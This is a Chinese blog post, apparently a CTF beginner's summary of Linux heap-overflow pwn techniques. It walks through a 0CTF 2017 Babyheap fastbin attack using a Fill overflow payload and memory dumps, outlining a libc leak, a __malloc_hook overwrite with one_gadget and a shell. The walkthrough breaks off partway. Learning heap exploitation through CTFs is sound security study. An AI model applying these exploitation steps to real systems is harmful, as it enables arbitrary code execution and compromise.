linux 堆溢出 pwn 指南,新手科普 | CTF PWN堆溢出总结

本文是一篇关于Linux堆溢出的PWN学习指南,详细介绍了fastbin攻击、堆管理机制及漏洞利用技术,如如何通过fastbin_dup_into_stack进行任意地址写操作,通过案例讲解了堆溢出的实战步骤。文章还涉及了double free、unsafe_unlink、house_of_einherjar、house_of_force、off_by_one、Use After Free和数组越界的漏洞利用方法,适合初学者了解和掌握PWN技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

学习汇总

序言

自从加入RTIS交流群, 在7o8v师傅,gd大佬的帮助下,PWN学习之路进入加速度。下面是八周学习的总结,基本上是按照how2heap路线走的。由于八周内容全写,篇幅太长,这里只讲述每道PWN题所用到的一个知识点。

第一节(fastbin_dup_into_stack)

知识点

利用fastbin之间,单链表的连接的特性, 溢出修改下一个free chunk的地址, 造成任意地址写.

例子: 0CTF 2017 BabyheapFill功能可以填充任意长字节, 漏洞在此.

leak memory: libc address

modify __malloc_hook内容为one_gadget

getshell

重点: fastbin attack

First Stepalloc(0x60)

alloc(0x40)

0x56144ab7e000: 0x0000000000000000 0x0000000000000071 --> chunk0 header

0x56144ab7e010: 0x0000000000000000 0x0000000000000000

0x56144ab7e020: 0x0000000000000000 0x0000000000000000

0x56144ab7e030: 0x0000000000000000 0x0000000000000000

0x56144ab7e040: 0x0000000000000000 0x0000000000000000

0x56144ab7e050: 0x0000000000000000 0x0000000000000000

0x56144ab7e060: 0x0000000000000000 0x0000000000000000

0x56144ab7e070: 0x0000000000000000 0x0000000000000051 --> chunk1 header

0x56144ab7e080: 0x0000000000000000 0x0000000000000000

0x56144ab7e090: 0x0000000000000000 0x0000000000000000

Second StepFill(0x10, 0x60 + 0x10, "A" * 0x60 + p64(0) + p64(0x71)) --> 开始破坏chunk1 header

0x56144ab7e000: 0x0000000000000000 0x0000000000000071

0x56144ab7e010: 0x6161616161616161 0x6161616161616161

0x56144ab7e020: 0x6161616161616161 0x6161616161616161

0x56144ab7e030: 0x6161616161616161 0x6161616161616161

0x56144ab7e040: 0x6161616161616161 0x6161616161616161

0x56144ab7e050: 0x6161616161616161 0x6161616161616161

0x56144ab7e060: 0x6161616161616161 0x6161616161616161

0x56144ab7e070: 0x0000000000000000 0x0000000000000071 --> 已修改为0x71

0x56144ab7e080: 0x0000000000000000 0x0000000000000000

Third Step: 申请small chunk0x56144ab7e060: 0x6161616161616161 0x6161616161616161

0x56144ab7e070: 0x0000000000000000 0x0000000000000071

0x56144ab7e080: 0x0000000000000000 0x0000000000000000

0x56144ab7e090: 0x0000000000000000 0x0000000000000000

0x56144ab7e0a0: 0x0000000000000000 0x0000000000000000

0x56144ab7e0b0: 0x0000000000000000 0x0000000000000000

0x56144ab7e0c0: 0x0000000000000000 0x0000000000000111 --> chunk2 header

Fo

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值